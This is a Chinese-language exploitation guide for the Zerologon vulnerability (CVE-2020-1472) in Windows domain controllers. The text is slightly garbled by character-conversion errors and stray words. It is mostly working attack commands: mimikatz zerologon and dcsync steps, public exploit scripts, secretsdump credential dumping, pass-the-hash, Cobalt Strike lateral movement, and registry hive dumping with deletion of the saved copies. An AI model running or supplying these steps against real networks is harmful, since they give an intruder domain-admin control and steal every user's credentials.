CVE-2020-1472是繼MS17010以後一個比較好用的內網提權漏洞,影響Windows Server 2008R 2至Windows Server 2019的多個版本系統,只要攻擊者能訪問到目標域控井且知道域控計算機名便可利用該漏洞.該漏洞不要求當前計算機在域內,也不要求當前計算機操做系統爲windows,該漏洞的穩定利用方式爲重置目標域控的密碼, 而後利用城控憑證進行Dc sync獲取域管權限後修復域控密碼,之因此不直接使用壞控憑證遠程執行命令,是由於城控帳戶是不能夠登陸的,可是域控具有Dc sync權限, 能夠獲取域內任意用戶的憑證。javascript
漏洞利用過程當中會重置域控存儲在域中(ntds.dit)的憑證,而域控存儲在域中的憑證與本地的註冊表/lsass中的憑證不一致時,會致使目標域控脫域,因此在重置完域控憑證後要儘快恢復。java
管理員權限運行Mimikatz
python
# 提高權限 privilege::debug # 檢測是否存在漏洞 lsadump::zerologon /target:<dc-ip> /account:<主機名>$ # 重置密碼 lsadump::zerologon /target:<dc-ip> /account:<主機名>$ /exploit # 導出域管hash lsadump::dcsync /domain:<domain> /dc:<DC server> /user:<想要導出hash的user,如:administrator> /authuser:<計算機名>$ /authdomain:<domain> /authpassword:"" /authntlm 例如: lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
這個工具好在會直接利用會返回域管的hash,更快速一點,不過須要新版impacket
比較麻煩。git
原文:https://blog.zsec.uk/zerologon-attacking-defending/github
工具連接:https://github.com/bb00/zer0dumpwindows
git clone https://github.com/bb00/zer0dump.git cd zer0dump-master && pip3 install -r requirements.txt
每攻擊256次會有一次起做用,但還要排除0.04%的虛假利用狀況,因此會最大嘗試2000次保證成功,當返回值爲0時表明利用成功。這會致使 account's password
變爲空字符串進而利用PTH
等方法進一步操做。sass
利用:執行成功後會返回管理員用戶的帳號和hash服務器
python3 zer0dump.py <target-ip>
"該漏洞利用程序將域中的NTDS.dit(保留了該域上全部用戶的全部NTLM哈希值)/tmp/dumped.tmp.ntds轉儲到域,並利用祕密轉儲來轉出本地管理員密碼,如上所示。此外,因爲返回的錯誤代碼爲零,所以咱們能夠看到該漏洞利用成功。管理員的哈希值已設置爲空白字符串"
排坑:dom
0x01 報錯:AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2 ’
工具
解決:從新安裝最新版本的impacket
git clone https://github.com/SecureAuthCorp/impacketcd cd impacket pip install .
連接:https://github.com/VoidSec/CVE-2020-1472
python3 cve-2020-1472-exploit.py <主機名> 192.168.159.149 # 主機名也就是掃出的機器名稱,對應的會有一個主機名$帳戶
python3 secretsdump.py <domain>/<主機名>\$@<dc-ip> -no-pass proxychains python3 secretsdump.py <domain>/<主機名>\$@<dc-ip> -no-pass > hashes.txt
當知道target ip
、帳戶和 帳戶hash且有一臺內網的機器權限時如何快速上線。
固然這裏也能夠用本身喜歡的方式。
前提
有一臺可通target ip
的cs上線機器
已知target ip
的帳戶和hash
首先 Add
一個監聽器,Name
隨意, TCP Beacon
view --> targets --> Add
添加目標
完成後在targets
標籤頁裏,或點擊 選擇剛纔添加的target
,右鍵 --> Jump --> psexec_psh
填寫相應user
,該user
的password hash
,所在Domain
,Listener
選擇剛纔添加的 TCP Beacon
,Session
選擇可訪問此targe
t的內網cs上線的機器,點擊Launch
就上線了。
這個新生成的會話會帶用下圖紅框標註的標記,這表明是從以前內網cs上線的機器的Session
派生出的新Session
,當內網的機器cs掉了這個會話也就掉了
privilege::debug sekurlsa::pth /user:administrator /domain:<domain> /rc4:<NTLM hash> 以後會彈出一個cmd
這裏由於以前經過NetLogon將帳號hash置爲空,後續得到域管hash後須要趕忙將以前在SAM文件保存的hash去恢復,不然會脫域。
保存 sam.save 、security.save 、 system.save
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save # 獲取文件路徑 get system.saveget sam.save get security.save # 刪除文件 del /f system.save del /f sam.save del /f security.save
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
經過拿到 $MACHINE.ACC: 的值,而後進行恢復:注意只有後半部分:
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -no-pass # 四個空格
如何尋找域控計算機名?
# 不在域內 nbtscan掃描 nmap smb嗅探 nslookup <域控ip> 有時dns服務器也搭在域控上 # 在域內 命令查詢
https://cloud.tencent.com/developer/article/1780108
https://github.com/VoidSec/CVE-2020-1472
https://github.com/bb00/zer0dump